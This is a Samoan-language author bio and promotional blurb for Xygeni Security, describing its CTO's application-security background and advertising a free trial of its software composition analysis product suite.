Lui Rodriguez o le Fa'avae Fa'atasi ma le CTO i le Xygeni Security. Faatasi ai ma le 20+ tausaga i le puipuiga o talosaga, ua taula'i atu o ia i le puipuiga o le AppSec ma agava'a fa'apitoa o le au'ili'iliga o tulafono e fesoasoani ai i 'au e fa'aitiitia le lamatiaga moni o le tu'uina atu.

 
meafaigaluega-sca-polokalame-su'esu'ega-tu'ufa'atasiga
Fa'amuamua, toe fa'aleleia, ma puipui au tulaga lamatia o polokalama faakomepiuta
Maua lau Teugatupe e leai se totogi.
Leai se credit card e manaʻomia.

Puipui lau Atina'eina ma le Tu'uina Atu o Polokalama Faakomepiuta

fa'atasi ai ma le Xygeni Product Suite